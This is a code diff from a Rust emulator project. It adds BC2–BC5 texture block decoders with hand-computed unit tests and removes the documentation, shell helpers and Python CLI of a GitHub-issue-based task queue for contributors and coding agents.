fn snorm_palette(a0: i8, a1: i8) -> [i8; 8] {
let x = i16::from(a0).max(-127);
let y = i16::from(a1).max(-127);
let mut p = [a0, a1, 0, 0, 0, 0, 0, 0];
if a0 > a1 {
for k in 1..=6i16 {
p[(k + 1) as usize] = (((7 - k) * x + k * y) / 7) as i8;
}
} else {
for k in 1..=4i16 {
p[(k + 1) as usize] = (((5 - k) * x + k * y) / 5) as i8;
}
p[6] = -127;
p[7] = 127;
}
p
}
fn unorm_block(block: &[u8]) -> [u8; 16] {
let p = unorm_palette(block[0], block[1]);
let idx: [u8; 6] = block[2..8].try_into().unwrap();
std::array::from_fn(|t| p[index3(&idx, t)])
}
fn snorm_block(block: &[u8]) -> [i8; 16] {
let p = snorm_palette(block[0] as i8, block[1] as i8);
let idx: [u8; 6] = block[2..8].try_into().unwrap();
std::array::from_fn(|t| p[index3(&idx, t)])
}
/// Decodes a BC4 UNORM block to 16 row-major red values.
pub fn decode_bc4_unorm(block: [u8; 8]) -> [u8; 16] {
unorm_block(&block)
}
/// Decodes a BC4 SNORM block to 16 row-major signed red values.
pub fn decode_bc4_snorm(block: [u8; 8]) -> [i8; 16] {
snorm_block(&block)
}
/// Decodes a BC5 UNORM block; each texel is `[red, green]` (first 8 bytes red).
pub fn decode_bc5_unorm(block: [u8; 16]) -> [[u8; 2]; 16] {
let r = unorm_block(&block[..8]);
let g = unorm_block(&block[8..]);
std::array::from_fn(|t| [r[t], g[t]])
}
/// Decodes a BC5 SNORM block; each texel is `[red, green]`.
pub fn decode_bc5_snorm(block: [u8; 16]) -> [[i8; 2]; 16] {
let r = snorm_block(&block[..8]);
let g = snorm_block(&block[8..]);
std::array::from_fn(|t| [r[t], g[t]])
}
/// Four-colour BC1-style palette, forced regardless of endpoint order.
fn colour_block(block: &[u8]) -> [[u8; 4]; 16] {
let first = u16::from_le_bytes([block[0], block[1]]);
let second = u16::from_le_bytes([block[2], block[3]]);
let mut p = [rgb565(first), rgb565(second), [255; 4], [255; 4]];
for c in 0..3 {
let a = u16::from(p[0][c]);
let b = u16::from(p[1][c]);
p[2][c] = ((2 * a + b) / 3) as u8;
p[3][c] = ((a + 2 * b) / 3) as u8;
}
let bits = u32::from_le_bytes([block[4], block[5], block[6], block[7]]);
std::array::from_fn(|t| p[((bits >> (2 * t)) & 3) as usize])
}
/// Decodes a BC2 block to 16 row-major RGBA8 texels (explicit 4-bit alpha).
pub fn decode_bc2(block: [u8; 16]) -> [[u8; 4]; 16] {
let mut out = colour_block(&block[8..]);
for (t, px) in out.iter_mut().enumerate() {
// Two texels per byte, low nibble first.
px[3] = ((block[t / 2] >> (4 * (t % 2))) & 15) * 17;
}
out
}
/// Decodes a BC3 block to 16 row-major RGBA8 texels (interpolated alpha).
pub fn decode_bc3(block: [u8; 16]) -> [[u8; 4]; 16] {
let mut out = colour_block(&block[8..]);
let alpha = unorm_block(&block[..8]);
for (px, a) in out.iter_mut().zip(alpha) {
px[3] = a;
}
out
}
-4
View File
@@ -7,12 +7,8 @@
#![forbid(unsafe_code)]
mod bc;
pub mod sampler;
mod upload;
pub use bc::{
decode_bc2, decode_bc3, decode_bc4_snorm, decode_bc4_unorm, decode_bc5_snorm, decode_bc5_unorm,
};
pub use sampler::{AddressMode, FilterMode, SamplerDesc, SamplerError, TextureMetadata};
pub use upload::{Bc1Subresource, Bc1Upload, Bc1UploadDesc};
-219
View File
@@ -1,219 +0,0 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! Expected values are worked by hand from the Microsoft BC2-BC5 and Khronos
//! S3TC/RGTC formulas (truncating integer division); the production decoder is
//! never used to produce them.
use xenora_texture::{
decode_bc2, decode_bc3, decode_bc4_snorm, decode_bc4_unorm, decode_bc5_snorm, decode_bc5_unorm,
};
/// Packs sixteen 3-bit indices bit by bit, texel 0 in the lowest bit.
fn pack3(indices: [u8; 16]) -> [u8; 6] {
let mut out = [0u8; 6];
for (t, idx) in indices.iter().enumerate() {
for bit in 0..3 {
if (idx >> bit) & 1 == 1 {
let pos = 3 * t + bit;
out[pos / 8] |= 1 << (pos % 8);
}
}
}
out
}
fn bc4(a0: u8, a1: u8, indices: [u8; 16]) -> [u8; 8] {
let i = pack3(indices);
[a0, a1, i[0], i[1], i[2], i[3], i[4], i[5]]
}
const SEQ: [u8; 16] = [0, 1, 2, 3, 4, 5, 6, 7, 0, 1, 2, 3, 4, 5, 6, 7];
fn expect(palette: [u8; 8]) -> [u8; 16] {
std::array::from_fn(|t| palette[t % 8])
}
#[test]
fn packing_helper_matches_hand_bytes() {
// 111 110 101 100 011 010 001 000 = 0xFAC688, twice.
assert_eq!(pack3(SEQ), [0x88, 0xC6, 0xFA, 0x88, 0xC6, 0xFA]);
}
#[test]
fn bc4_unorm_eight_value_mode() {
// a0 > a1: p[k+1] = ((7-k)*200 + k*100) / 7 for k = 1..6.
// 1300/7=185, 1200/7=171, 1100/7=157, 1000/7=142, 900/7=128, 800/7=114.
let out = decode_bc4_unorm(bc4(200, 100, SEQ));
assert_eq!(out, expect([200, 100, 185, 171, 157, 142, 128, 114]));
}
#[test]
fn bc4_unorm_six_value_mode_with_zero_and_255() {
// a0 <= a1: ((5-k)*100 + k*200) / 5: 600/5=120, 700/5=140, 800/5=160,
// 900/5=180, then 0 and 255.
let out = decode_bc4_unorm(bc4(100, 200, SEQ));
assert_eq!(out, expect([100, 200, 120, 140, 160, 180, 0, 255]));
// Equal endpoints also take the six-value mode.
let out = decode_bc4_unorm(bc4(50, 50, SEQ));
assert_eq!(out, expect([50, 50, 50, 50, 50, 50, 0, 255]));
}
#[test]
fn bc4_snorm_eight_value_mode_truncates_toward_zero() {
// a0=100 > a1=-100: 500/7=71, 300/7=42, 100/7=14, -100/7=-14,
// -300/7=-42, -500/7=-71.
let b = bc4(100, 0x9C, SEQ); // 0x9C = -100
let out = decode_bc4_snorm(b);
let e: [i8; 8] = [100, -100, 71, 42, 14, -14, -42, -71];
assert_eq!(out, std::array::from_fn(|t| e[t % 8]));
}
#[test]
fn bc4_snorm_six_value_mode_with_fixed_extremes() {
// a0=-100 <= a1=100: (-400+100)/5=-60, (-300+200)/5=-20, 20, 60, -127, 127.
let out = decode_bc4_snorm(bc4(0x9C, 100, SEQ));
let e: [i8; 8] = [-100, 100, -60, -20, 20, 60, -127, 127];
assert_eq!(out, std::array::from_fn(|t| e[t % 8]));
}
#[test]
fn bc4_snorm_minus_128_is_kept_for_endpoints_and_acts_as_minus_127() {
// a0=-128 < a1=127: six-value mode, x=-127: p2=(4*-127+127)/5=-381/5=-76.
let out = decode_bc4_snorm(bc4(0x80, 127, SEQ));
assert_eq!(out[0], -128);
assert_eq!(out[1], 127);
assert_eq!(out[2], -76);
// a0=127 > a1=-128: eight-value mode, y=-127: p2=(6*127-127)/7=635/7=90.
let out = decode_bc4_snorm(bc4(127, 0x80, SEQ));
assert_eq!(out[1], -128);
assert_eq!(out[2], 90);
}
#[test]
fn every_index_position_is_read_from_its_own_bits() {
// Texel n alone uses index 1 (value 100); all others index 0 (value 200).
// Texels 2, 5, 10 and 13 span byte boundaries.
for n in 0..16 {
let mut idx = [0u8; 16];
idx[n] = 1;
let out = decode_bc4_unorm(bc4(200, 100, idx));
for (t, v) in out.iter().enumerate() {
assert_eq!(*v, if t == n { 100 } else { 200 }, "texel {t}, set {n}");
}
}
}
#[test]
fn wrong_index_bit_order_would_fail() {
// Texel 5 occupies bits 15..17 (byte 1 bit 7, byte 2 bits 0-1); texel 10
// occupies bits 30..32 (byte 3 bits 6-7, byte 4 bit 0).
let mut idx = [0u8; 16];
idx[5] = 1;
idx[10] = 2;
let b = bc4(200, 100, idx);
// Hand-checked bytes: bit 15 set; bit 31 set.
assert_eq!(&b[2..], &[0x00, 0x80, 0x00, 0x80, 0x00, 0x00]);
let out = decode_bc4_unorm(b);
assert_eq!(out[5], 100);
assert_eq!(out[10], 185);
assert_ne!(out[5], out[10]);
// A decoder reading the 48 bits most-significant first (wrong order)
// lands on different texels; show that this block tells them apart.
let bits = b[2..8]
.iter()
.rev()
.fold(0u64, |a, x| (a << 8) | u64::from(*x));
let wrong = |t: usize| ((bits >> (45 - 3 * t)) & 7) as u8;
assert_ne!(wrong(5), 1);
assert_ne!(wrong(10), 2);
}
fn colour_bytes(c0: u16, c1: u16, indices: u32) -> [u8; 8] {
let (a, b, i) = (c0.to_le_bytes(), c1.to_le_bytes(), indices.to_le_bytes());
[a[0], a[1], b[0], b[1], i[0], i[1], i[2], i[3]]
}
#[test]
fn bc2_expands_four_bit_alpha_and_always_uses_four_colours() {
// Red 0xF800 = (255,0,0), blue 0x001F = (0,0,255).
// p2 = (170,0,85), p3 = (85,0,170). Texels 0..3 use indices 0..3.
let alpha = [0x10, 0x32, 0x54, 0x76, 0x98, 0xBA, 0xDC, 0xFE];
for (c0, c1, mid) in [
(0xF800, 0x001F, [[170, 0, 85], [85, 0, 170]]),
// Endpoints swapped: still four-colour mode, no transparent index.
(0x001F, 0xF800, [[85, 0, 170], [170, 0, 85]]),
] {
let mut block = [0u8; 16];
block[..8].copy_from_slice(&alpha);
block[8..].copy_from_slice(&colour_bytes(c0, c1, 0b11_10_01_00));
let out = decode_bc2(block);
let first = if c0 == 0xF800 {
[255, 0, 0]
} else {
[0, 0, 255]
};
let second = if c0 == 0xF800 {
[0, 0, 255]
} else {
[255, 0, 0]
};
let rgb = [first, second, mid[0], mid[1]];
for t in 0..16 {
assert_eq!(out[t][3], t as u8 * 17, "alpha texel {t}");
if t < 4 {
assert_eq!(out[t][..3], rgb[t], "colour texel {t}");
} else {
assert_eq!(out[t][..3], first, "colour texel {t}");
}
}
}
}
#[test]
fn bc3_uses_bc4_style_alpha_and_four_colour_block() {
let mut block = [0u8; 16];
block[..8].copy_from_slice(&bc4(200, 100, SEQ));
// c0 < c1 would be 3-colour in BC1; index 3 must stay interpolated.
block[8..].copy_from_slice(&colour_bytes(0x001F, 0xF800, 0xFFFF_FFFF));
let out = decode_bc3(block);
let alpha = expect([200, 100, 185, 171, 157, 142, 128, 114]);
for t in 0..16 {
assert_eq!(out[t][3], alpha[t]);
assert_eq!(out[t][..3], [170, 0, 85]);
}
// Six-value alpha mode.
block[..8].copy_from_slice(&bc4(100, 200, SEQ));
let alpha = expect([100, 200, 120, 140, 160, 180, 0, 255]);
let out = decode_bc3(block);
for t in 0..16 {
assert_eq!(out[t][3], alpha[t]);
}
}
#[test]
fn bc5_channel_order_is_red_then_green() {
// All texels index 1 = 0b001 repeated: bytes 0x49 0x92 0x24 twice.
let ones = [0x49, 0x92, 0x24, 0x49, 0x92, 0x24];
let mut block = [0u8; 16];
block[..2].copy_from_slice(&[200, 100]);
block[2..8].copy_from_slice(&ones);
block[8..10].copy_from_slice(&[100, 200]);
block[10..].copy_from_slice(&ones);
for texel in decode_bc5_unorm(block) {
assert_eq!(texel, [100, 200]);
}
}
#[test]
fn bc5_snorm_channels_and_fixed_values() {
// Index 6 = 0b110 repeated: bytes 0xB6 0x6D 0xDB twice.
let sixes = [0xB6, 0x6D, 0xDB, 0xB6, 0x6D, 0xDB];
let mut block = [0u8; 16];
// Red: a0=100 > a1=-100, index 6 = -42. Green: a0=-100 <= a1=100, index 6 = -127.
block[..2].copy_from_slice(&[100, 0x9C]);
block[2..8].copy_from_slice(&sixes);
block[8..10].copy_from_slice(&[0x9C, 100]);
block[10..].copy_from_slice(&sixes);
for texel in decode_bc5_snorm(block) {
assert_eq!(texel, [-42, -127]);
}
}
-1
View File
@@ -48,4 +48,3 @@ either path. The [changelog](../CHANGELOG.md) records notable changes.
- [Threat model](threat-model.md) and [security reporting](../SECURITY.md) — Execution limits and disclosure instructions.
- [Legal scope](legal.md), [dependency licensing](licenses.md), and [third-party notices](../THIRD_PARTY_NOTICES.md) — Input policy, attribution, and redistribution findings.
- [Contribution guidelines](../CONTRIBUTING.md) — Original authorship, Developer Certificate of Origin sign-off, and evidence requirements.
- [Agent task queue](coordination/agent-tasks.md) — Areas, claiming, leases, upstream sync, verification and the security model for parallel contributors and coding agents.
-121
View File
@@ -1,121 +0,0 @@
# Agent task queue
Work items are GitHub issues. Contributors and coding agents claim them with a comment, work in
their own branch, and open a pull request that is checked against the claim. The queue is
deterministic: the rules live in `scripts/agent_queue/` (standard-library Python, no network, no
model or external service), and GitHub Actions and the shell helpers only call it.
Status: implemented and unit-tested locally. **Not yet run on GitHub**: the workflows are untested
against the real API until the first live run.
## Areas
| Area | Owner | Scope |
| --- | --- | --- |
| `cpu` | maintainer | CPU translation, ARM64 dynamic binary translation, PE loading, guest startup, core guest memory |
| `gpu` | GPU contributor | RDNA2, shaders, graphics, Metal |
| `runtime` | runtime contributor | Win32, CRT, C++ runtime, import generation, OS services, platform abstractions |
| `shared` | agreed by the owners involved | Interfaces that cross subsystems |
| `qa` | any qa contributor | Independent verification, regression testing, security review |
Who may claim what is in `.github/agent-queue.json` (`maintainers`, `contributors`, `lease_hours`,
`upstream`). The file is plain JSON, so the notes live here: the maintainer must add the runtime
contributor's GitHub login under `contributors` (for example `"their-login": ["runtime", "qa"]`)
before that person can claim. Maintainers may claim any area; others only the areas listed for them.
## One-time label bootstrap (maintainer)
```sh
for l in agent:ready agent:claimed agent:blocked agent:invalid agent:conflict \
area:cpu area:gpu area:runtime area:shared area:qa \
priority:critical priority:high priority:medium priority:low; do
gh label create "$l" --force --color BFD4F2
done
```
`claimed-by:<login>` labels are created by the workflow when a claim is granted.
## Lifecycle
1. Post a task with the *Agent task* issue form or `scripts/agent-queue.sh new body.md "task: title"`.
Area, Priority, Files (exact paths, `dir/` prefixes, `*` and `**` globs), Acceptance command,
Depends on and, for shared work, Interface (interface name and the version or upstream commit
it targets).
2. `scripts/agent-queue.sh next <area>` picks the highest-priority task you may claim now.
3. `scripts/agent-queue.sh claim <n>` posts `/claim` and waits until the bot confirms: a grant
comment carrying a marker, and the label `claimed-by:<you>`. **Do not edit anything before it
prints "claimed".** Refusals name the reason: not `agent:ready`, area not allowed for you, open
or missing dependency, dependency cycle, or file overlap with a claimed task (the issue is named).
Claims are decided one at a time across the whole repository, so two overlapping claims cannot both win.
4. `scripts/agent-queue.sh start <n>` creates branch `task/<n>-<slug>` from `upstream/main` in a
separate worktree `../xenora-task-<n>` (`--here` uses the current clean checkout instead).
5. Keep the lease alive with `scripts/agent-queue.sh progress <n> "what changed"`. A claim lapses
`lease_hours` (24) after the latest of: the grant, your `/progress` comment, a push to your
linked pull request. Other people's comments never renew it. A lapsed task returns to the queue.
6. Open the pull request with `Closes #<n>` and a DCO sign-off (`git commit -s`).
7. A different person (not the author, not the task holder) who is a maintainer or has `qa`
comments `/verified <head sha>` after running the acceptance command. A new push changes the
head and invalidates the verification.
## Commands (issue comments)
| Command | Who | Effect |
| --- | --- | --- |
| `/claim` | allowed for the area | Take a ready task |
| `/release` | holder or maintainer | Return the task to the queue |
| `/reassign <login>` | maintainer | Hand the task to someone allowed for its area; new lease |
| `/progress <text>` | holder | Renew the lease (text required) |
| `/blocked <reason>`, `/unblock` | holder or maintainer | Set or clear `agent:blocked` |
| `/approve-acceptance` | maintainer | Authorise the acceptance command as currently written |
| `/verified <sha>` (on a pull request) | maintainer or `qa`, not author, not holder | Independent verification of the current head |
Labels: `area:<x>`, `priority:<critical|high|medium|low>`, `agent:ready|claimed|blocked|invalid|conflict`,
`claimed-by:<login>`. An hourly audit lapses stale claims, marks tasks with missing dependencies or
cycles `agent:invalid` (and restores them when fixed), flags overlapping claims `agent:conflict`, and
writes a JSON summary to the run summary. `scripts/agent-queue.sh status --json` prints the same
machine-readable summary (counts and lists per area, priority and state).
## Pull request checks
`agent-pr-checks` fails a pull request when: it has no `Closes #N` for a claimed task; the task is held
by someone else; it changes files outside the task's patterns; it changes a file that another open
pull request also changes; the claim has lapsed without a push; or no eligible `/verified <current
head sha>` exists. After a `/verified` comment the check is re-run automatically.
## Forks and upstream sync
Work from a fork, but synchronise against the real upstream (`ranveersoni98/Xenora` in the
config), never only your fork's `origin/main`. `scripts/agent-sync.sh` adds the remote `upstream` if
missing (it never touches `origin`), fetches every 12 minutes (`--interval 10..15`, `--once` for one
pass) and, after each fetch, lists new upstream commits that touch files of tasks you hold. It never
merges by itself; `--merge` merges `upstream/main` into the current task branch only when the tree
is clean. It works from any worktree.
Interface changes during work, for example the maintainer's unpublished changes landing: put the
interface in a `shared` task whose Interface field names the version or commit other tasks target.
Tasks that depend on it list it in Depends on, so they cannot be claimed before it closes, and a
sync report that shows upstream touching your files is the signal to re-read the interface and merge.
## Security model
- Issue and comment text is data. It is parsed by fixed rules and never evaluated, never put into a
shell command line, and workflow expressions never appear inside `run:` blocks (event data is read
from the event file).
- Acceptance commands are never run automatically. `scripts/agent-queue.sh acceptance <n>` prints
one only when a maintainer's `/approve-acceptance` marker (posted by the bot) matches a hash of
the current text; editing the issue body invalidates the approval. Read the command before running it.
- Markers (grant, approval) count only when posted by the Actions bot, so they cannot be forged in a comment.
- Workflows declare empty top-level permissions and grant each job only what it needs; actions are
pinned by commit SHA. Pull request checks run on the base branch (`pull_request_target`), never
check out or run pull request code and read changed files through the API.
- Clean-room, DCO and native ARM64 rules in `AGENTS.md` and `CONTRIBUTING.md` apply unchanged.
## Tests
```sh
PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue -v
sh -n scripts/agent-queue.sh scripts/agent-sync.sh
```
The tests cover command decisions, overlap, cycles, leases, acceptance hashing, pull request checks,
the summary, the CLI and a structural check of the workflow files. They do not exercise GitHub itself.
-35
View File
@@ -38,38 +38,3 @@ Run from the checkout root after extracting the approved XML.
```sh
python3 crates/isa/generate_rdna2.py path/to/amdgpu_isa_rdna2.xml | diff -u crates/isa/src/rdna2.rs -
```
## Complete instruction metadata
`crates/isa/generate_rdna2_meta.py` reduces the same approved XML to every
gfx1030 base instruction form: 1,460 forms in 21 encoding families, with
identifying bits, field layouts, operands (field, data format, operand type,
width, direction), control-flow flags and allowed extension words. It runs in
two stages so regeneration and CI checks need no network and no XML:
```sh
python3 crates/isa/generate_rdna2_meta.py --xml path/to/amdgpu_isa_rdna2.xml # XML -> snapshot -> Rust
python3 crates/isa/generate_rdna2_meta.py --check # snapshot -> Rust, compare
```
The snapshot `crates/isa/data/rdna2.jsonl` is sorted, normalised MIT data
under the AMD notice in `crates/isa/LICENSE-AMD`. The generator rejects a
different XML hash, another architecture, unclassified encodings, duplicate
variants, identifying bits outside a mask and overlapping encodings. Two
details are not in the identifier masks and are handled explicitly: MIMG
opcode bit 7 sits at bit 0, and MTBUF opcode bit 3 sits at bit 53.
The XML names literal, SDWA, DPP8, DPP16 and NSA variants without a rule for
when they apply. `xenora_isa::meta::identify` implements those length rules by
hand: a source field equal to 255 (`SRC_LITERAL` in the XML) adds a literal;
VOP1, VOP2 and VOPC `SRC0` values 0xF9, 0xFA, 0xE9 and 0xEA add an SDWA, DPP16
or DPP8 control dword (from the RDNA 2 ISA guide's SDWA and DPP sections, not
the XML); MIMG `NSA` adds that many address dwords. An extension the form does
not list is rejected. Every LLVM-assembled fixture identifies with exact
boundaries and matching mnemonics. A broader LLVM comparison of the extension
rules is still open because it needs the LLVM oracle.
Identification is not execution. `xenora shaders coverage` reports forms
discovered in metadata against forms the semantic decoder accepts
(`xenora_decoder::SEMANTIC_FORMS`); reference, Metal and native GPU evidence
per form remains in `docs/status.toml`.
-2
View File
@@ -1,7 +1,5 @@
# gfx1030 instruction coverage
For counts of every gfx1030 form in AMD's metadata against forms Xenora can execute, run `xenora shaders coverage`. Its "discovered" column is metadata coverage, not execution support.
The decoder accepts an explicitly tagged, little-endian gfx1030 Wave32
stream with 32 lanes per wave under the [synthetic memory ABI](../adr/0003-demo-memory-model.md).
Recognition means that the opcode mask matches. Decode additionally checks
-153
View File
@@ -1,153 +0,0 @@
#!/bin/sh
# SPDX-License-Identifier: GPL-3.0-or-later
# Agent task queue helper: a thin wrapper over `python3 -m agent_queue` and gh.
# Always talks to the upstream repository named in .github/agent-queue.json, not to a fork.
# See docs/coordination/agent-tasks.md. Issue text is data: nothing from it is ever executed.
set -eu
root=$(cd "$(dirname "$0")/.." && pwd)
PYTHONPATH="$root/scripts"
export PYTHONPATH
aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; }
repo=$(aq config-get upstream)
tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-queue.XXXXXX")
trap 'rm -rf "$tmp"' EXIT INT TERM
usage() {
cat >&2 <<'USAGE'
usage: scripts/agent-queue.sh list [area] [--json] ready tasks, by priority then number
scripts/agent-queue.sh next <area> best claimable task for you in <area>
scripts/agent-queue.sh claim <issue> claim and wait for the confirmed grant
scripts/agent-queue.sh start <issue> [--here] branch task/<n>-<slug> from upstream/main in a new worktree
scripts/agent-queue.sh progress <issue> <text> progress note; renews the lease
scripts/agent-queue.sh release <issue> give the task back
scripts/agent-queue.sh reassign <issue> <login> maintainers only
scripts/agent-queue.sh acceptance <issue> print the acceptance command only if a maintainer approved it
scripts/agent-queue.sh status [--json] queue summary
scripts/agent-queue.sh new <body.md> <title> open a task from a body that follows the template
USAGE
exit 2
}
isnum() { case "$1" in ''|*[!0-9]*) echo "not an issue number: $1" >&2; exit 2 ;; esac; }
me() { gh api user -q .login; }
state() { aq gather --repo "$repo" --no-prs > "$tmp/state.json"; }
fetch() { aq fetch-issue --repo "$repo" --issue "$1" > "$tmp/issue.json"; }
post() { gh issue comment "$1" -R "$repo" --body "$2" >/dev/null; }
[ $# -ge 1 ] || usage
command=$1
shift
case "$command" in
list)
area=""
json=""
for a in "$@"; do
case "$a" in --json) json=--json ;; *) area=$a ;; esac
done
state
aq list --state "$tmp/state.json" --area "$area" $json
;;
next)
[ $# -eq 1 ] || usage
state
aq next --state "$tmp/state.json" --area "$1" --login "$(me)"
;;
claim)
[ $# -eq 1 ] || usage
isnum "$1"
login=$(me)
fetch "$1"
skip=$(python3 -c 'import json,sys; print(len(json.load(open(sys.argv[1]))["comments"]))' "$tmp/issue.json")
post "$1" /claim
i=0
while [ "$i" -lt 18 ]; do
sleep 10
i=$((i + 1))
fetch "$1"
rc=0
msg=$(aq claim-status --data "$tmp/issue.json" --login "$login" --skip "$skip") || rc=$?
case "$rc" in
0) echo "claimed #$1 as $login; you may start editing"; exit 0 ;;
1) echo "$msg" >&2; exit 1 ;;
esac
done
echo "claim of #$1 not confirmed within 3 minutes; do not start editing" >&2
exit 1
;;
start)
[ $# -ge 1 ] || usage
isnum "$1"
n=$1
here=no
[ "${2:-}" != "--here" ] || here=yes
login=$(me)
fetch "$n"
rc=0
aq claim-status --data "$tmp/issue.json" --login "$login" >/dev/null || rc=$?
[ "$rc" -eq 0 ] || { echo "no confirmed claim of #$n for $login: run claim first" >&2; exit 1; }
slug=$(python3 -c 'import json,re,sys; print(re.sub(r"[^a-z0-9]+","-",json.load(open(sys.argv[1]))["issues"][0]["title"].lower().replace("task:","")).strip("-")[:40])' "$tmp/issue.json")
branch="task/$n${slug:+-$slug}"
sh "$root/scripts/agent-sync.sh" --setup
git -C "$root" fetch upstream
if [ "$here" = yes ]; then
[ -z "$(git -C "$root" status --porcelain)" ] || { echo "working tree not clean" >&2; exit 1; }
git -C "$root" switch -c "$branch" upstream/main
echo "on $branch (from upstream/main)"
else
dir="$root/../xenora-task-$n"
git -C "$root" worktree add -b "$branch" "$dir" upstream/main
echo "worktree $dir on $branch (from upstream/main)"
fi
;;
progress)
[ $# -ge 2 ] || usage
isnum "$1"
n=$1
shift
post "$n" "/progress $*"
;;
release)
[ $# -eq 1 ] || usage
isnum "$1"
post "$1" /release
;;
reassign)
[ $# -eq 2 ] || usage
isnum "$1"
post "$1" "/reassign $2"
;;
acceptance)
[ $# -eq 1 ] || usage
isnum "$1"
fetch "$1"
python3 - "$tmp/issue.json" "$tmp/i.json" "$tmp/c.json" <<'PY'
import json, sys
d = json.load(open(sys.argv[1]))
json.dump(d["issues"][0], open(sys.argv[2], "w"))
json.dump(d["comments"], open(sys.argv[3], "w"))
PY
aq acceptance --issue "$tmp/i.json" --comments "$tmp/c.json"
;;
status)
state
if [ "${1:-}" = "--json" ]; then
aq summary --state "$tmp/state.json"
else
aq summary --state "$tmp/state.json" --text
fi
;;
new)
[ $# -eq 2 ] || usage
labels=$(aq check-body --file "$1")
for l in agent:ready $labels; do
gh label create "$l" -R "$repo" --force --color BFD4F2 >/dev/null
done
gh issue create -R "$repo" --label agent:ready --label "$(printf '%s\n' "$labels" | sed -n 1p)" \
--label "$(printf '%s\n' "$labels" | sed -n 2p)" --title "$2" --body-file "$1"
;;
*)
usage
;;
esac
-86
View File
@@ -1,86 +0,0 @@
#!/bin/sh
# SPDX-License-Identifier: GPL-3.0-or-later
# Keeps a checkout in step with the real upstream repository (not a fork's origin).
# agent-sync.sh [--once] [--interval MINUTES] [--merge] [--setup]
# --setup only make sure the `upstream` remote exists, then exit
# --once one fetch and report, then exit (default: repeat every 12 minutes)
# --merge merge upstream/main into the current task branch if the tree is clean
# After each fetch it lists new upstream commits that touch files of tasks you hold, so
# interface changes landing during your work are noticed. Nothing is merged unless --merge.
set -eu
root=$(cd "$(dirname "$0")/.." && pwd)
PYTHONPATH="$root/scripts"
export PYTHONPATH
aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; }
once=no
setup=no
merge=no
interval=12
while [ $# -gt 0 ]; do
case "$1" in
--once) once=yes ;;
--setup) setup=yes ;;
--merge) merge=yes ;;
--interval) shift; interval=${1:?minutes} ;;
*) echo "usage: agent-sync.sh [--once] [--interval 10-15] [--merge] [--setup]" >&2; exit 2 ;;
esac
shift
done
case "$interval" in ''|*[!0-9]*) echo "interval must be whole minutes" >&2; exit 2 ;; esac
if [ "$interval" -lt 10 ] || [ "$interval" -gt 15 ]; then
echo "interval must be 10-15 minutes" >&2
exit 2
fi
upstream_repo=$(aq config-get upstream)
url="https://github.com/$upstream_repo.git"
git -C "$root" rev-parse --git-dir >/dev/null
if ! git -C "$root" remote get-url upstream >/dev/null 2>&1; then
git -C "$root" remote add upstream "$url"
echo "added remote upstream -> $url"
elif [ "$(git -C "$root" remote get-url upstream)" != "$url" ]; then
echo "remote upstream is $(git -C "$root" remote get-url upstream), expected $url; fix it by hand (origin is never changed)" >&2
exit 1
fi
[ "$setup" = no ] || exit 0
pass() {
old=$(git -C "$root" rev-parse -q --verify refs/remotes/upstream/main || true)
git -C "$root" fetch --quiet upstream
new=$(git -C "$root" rev-parse refs/remotes/upstream/main)
if [ -n "$old" ] && [ "$old" != "$new" ]; then
echo "upstream/main moved: $(git -C "$root" rev-list --count "$old..$new") new commit(s)"
tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-sync.XXXXXX")
login=$(gh api user -q .login)
aq gather --repo "$upstream_repo" --no-prs > "$tmp/state.json"
git -C "$root" log --name-only --format='@%h' "$old..$new" |
awk '/^@/ {sha=substr($0,2); next} NF {print sha "\t" $0}' > "$tmp/files.tsv"
aq touch --state "$tmp/state.json" --login "$login" < "$tmp/files.tsv" > "$tmp/hits.json"
if [ "$(tr -d ' \n' < "$tmp/hits.json")" != "[]" ]; then
echo "upstream changed files of tasks you hold (check for interface changes):"
cat "$tmp/hits.json"
fi
rm -rf "$tmp"
elif [ -z "$old" ]; then
echo "fetched upstream/main at $(printf '%s' "$new" | cut -c1-12)"
else
echo "upstream/main unchanged"
fi
if [ "$merge" = yes ]; then
if [ -n "$(git -C "$root" status --porcelain)" ]; then
echo "not merging: working tree not clean" >&2
else
git -C "$root" merge --no-edit upstream/main
fi
fi
}
pass
[ "$once" = yes ] && exit 0
while true; do
sleep $((interval * 60))
pass
done
-6
View File
@@ -1,6 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Deterministic agent task queue logic. Pure functions, standard library only.
Issue and comment text is untrusted data: it is parsed, never evaluated and
never passed to a shell.
"""
-6
View File
@@ -1,6 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import sys
from .cli import main
sys.exit(main(sys.argv[1:]))
-153
View File
@@ -1,153 +0,0 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Command line entry: PYTHONPATH=scripts python3 -m agent_queue <subcommand>. JSON in, JSON out."""
import argparse
import json
import sys
from datetime import datetime, timezone
from . import config as cfgmod
from . import ghio
from . import lease as L
from . import prcheck, queue
from . import tasks as T
from . import decide as decide_mod
from .decide import decide
from .patterns import path_matches
def _load(path):
with open(path, encoding="utf-8") if path != "-" else sys.stdin as fh:
return json.load(fh)
def _now(arg):
return T.parse_time(arg) if arg else datetime.now(timezone.utc)
def _out(obj):
json.dump(obj, sys.stdout, indent=2, sort_keys=True)
sys.stdout.write("\n")
def main(argv):
p = argparse.ArgumentParser(prog="agent_queue")
p.add_argument("--config", default=".github/agent-queue.json")
p.add_argument("--now", default="", help="UTC time YYYY-MM-DDTHH:MM:SSZ (tests)")
sub = p.add_subparsers(dest="cmd", required=True)
s = sub.add_parser("gather"); s.add_argument("--repo", required=True); s.add_argument("--no-prs", action="store_true"); s.add_argument("--pr", type=int, default=0)
s = sub.add_parser("decide"); s.add_argument("--event", required=True); s.add_argument("--state", required=True)
s = sub.add_parser("apply"); s.add_argument("--repo", required=True); s.add_argument("--actions", required=True)
s = sub.add_parser("audit"); s.add_argument("--state", required=True)
s = sub.add_parser("summary"); s.add_argument("--state", required=True); s.add_argument("--text", action="store_true")
s = sub.add_parser("pr-check"); s.add_argument("--state", required=True)
s = sub.add_parser("acceptance"); s.add_argument("--issue", required=True); s.add_argument("--comments", required=True)
s = sub.add_parser("task"); s.add_argument("--issue", required=True)
s = sub.add_parser("touch"); s.add_argument("--state", required=True); s.add_argument("--login", required=True)
s = sub.add_parser("fetch-issue"); s.add_argument("--repo", required=True); s.add_argument("--issue", type=int, required=True)
